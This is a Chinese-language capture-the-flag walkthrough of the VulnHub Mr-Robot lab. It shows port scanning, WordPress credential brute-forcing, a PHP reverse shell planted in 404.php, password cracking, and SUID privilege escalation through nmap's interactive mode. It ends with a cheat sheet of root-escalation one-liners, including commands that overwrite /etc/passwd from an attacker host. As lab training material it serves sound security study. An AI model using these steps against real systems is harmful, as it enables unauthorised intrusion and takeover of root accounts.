0x00 环境搭建
靶机地址:https://www.vulnhub.com/entry/mr-robot-1,151/
下载之后用vmware打开即可,这里使用的是桥接模式。
开机后搭建完成:
0x01 主机端口探测
用arp-scan -l
探测内网存活主机,再用nmap -sV -p- ip
来探测端口:
发现关闭了 22端口(SSH服务)、但开放了80端口(HTTP服务)、443端口(HTTPS服务)
0x02 web渗透
访问80端口,发现提供了几条命令,依次尝试一下:
输入prepare命令是播放一段视频;
输入fsociety命令也是一段视频;
输入inform命令是一些图片;
输入question命令也是一些图片;
输入join命令弹出提示输入邮箱地址;
其他命令无效果。
接下来进行目录扫描,输入命令dirb http:
发现了可能有用的目录:/readme、/robots.txt、/wp-login等
访问/robots.txt,发现一个flag文件和一个字典文件:
访问/key-1-of-3.txt获得第一个flag:
访问/fsocity.dic获得字典文件:
字典大小有6.9MB,用字典去重工具进行去重,得到的文件有105k
访问wp-login,发现是WordPress登录页面
尝试弱口令,发现用户名不正确,说明用户可暴破,用刚才的字典进行暴破:
暴破得到用户名为Elliot
接下来暴破Elliot账户的密码,得到密码为ER28-0652,方法同上,不再演示。
利用暴破出的账号密码,成功登入后台:
0x03 getshell
进入后台,在404页面插马拿shell:
这里使用kali自带的php反弹shell,输入命令find / -name php-reverse-shell.php
尝试寻找可以利用的php反弹shell文件:
将查找到的文件替换掉404.php文件,并将ip地址改为攻击机地址和端口,点击更新档案上传文件:
在攻击机上输入命令 nc-lvp 12581
监听12581端口:
访问修改后的404.php(随便构造一个不存在的页面触发shell)文件,得到反弹shell:
查看自己的用户和权限,可以发现权限不高:
使用cat /etc/passwd
查看靶机中的用户,发现有robot用户:
查看/home/robot文件夹中发现有两个文件:
查看key-2-of-3.txt发现权限不足,于是查看password.raw-md5文件。
解密后得到密码:abcdefghijklmnopqrstuvwxyz,尝试切换robot用户:
使用python -c 'import pty;pty.spawn("/bin/bash")'
命令打开终端,用su robot
命令切换用户输入密码:
获取第二个flag:
0x04 Linux SUID提权
SUID概念
功用:用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。
作用:只作用于二进制文件中。
SUID提权原理
设置了SUID的文件可以让调用者在调用该文件时以文件拥有者的身份运行该文件,所以利用SUID提权的原理就是运行拥有者为root并设置了SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了,如果此时可以输入命令,就可以打开一个用户身份为root的shell。
已知可用来提权的linux文件
- nmap
- vim/vi
- find
- bash
- more
- less
- nano
- cp
提权过程
使用find / -perm -u=s -type f 2>/dev/null
查找设置了SUID的文件:
发现nmap有SUID标志位,查看nmap版本(早期版本的Nmap(2.02到5.21)有交互模式,nmap支持"interactive"选项,允许用户执行shell命令,通常,安全人员会使用改命令来避免他们使用namp命令被记录在history文件中):
使用nmap --interactive
,进入交互模式,接着使用命令:!sh
成功提权为root用户:
切换root目录下,拿到第三个flag:
整体流程如下:
靶机 => 主机端口探测 => web渗透(第一个flag) => 暴破账户密码 => 404.php写入木马 => 反弹shell => 查看密码文件 => 切换用户(第二个flag ) => SUID提权(第三个flag)
补充SUID提权
- namp版本:老版的nmap(2.02-5.21)有相互的功能–interactive
nmap --interactive
!sh
msf中也有相关模块exploit/unix/local/setuid_nmap
- vim/vi版本:如果vim以SUID运行,就会继承root用户的权限,可以读取系统中所有的文件
vim/vi
:!/bin/bash 或 :shell
- find版本:如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。
touch test
find test -exec whoami \;
- bash版本:
bash -p
- less/more版本:
less /etc/passwd
!/bin/sh
- nano版本:执行
nano /etc/passwd
, 即可添加root用户 - cp/mv版本:使用cp命令覆盖原本的
/etc/passwd
文件 - wget版本:
wget http://[your-ip]/passwd -O /etc/passwd
- teehee版本:将john写入root用户组里
echo "john::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
参考链接:
https://www.cnblogs.com/jesse-cavendish/p/13203523.html(VulnHub实战靶场Mr-Robot)
https://blog.csdn.net/qq_41123867/article/details/104924160(Linux中suid提权)
https://blog.csdn.net/qq_39293438/article/details/104094194(Linux SUID 提权)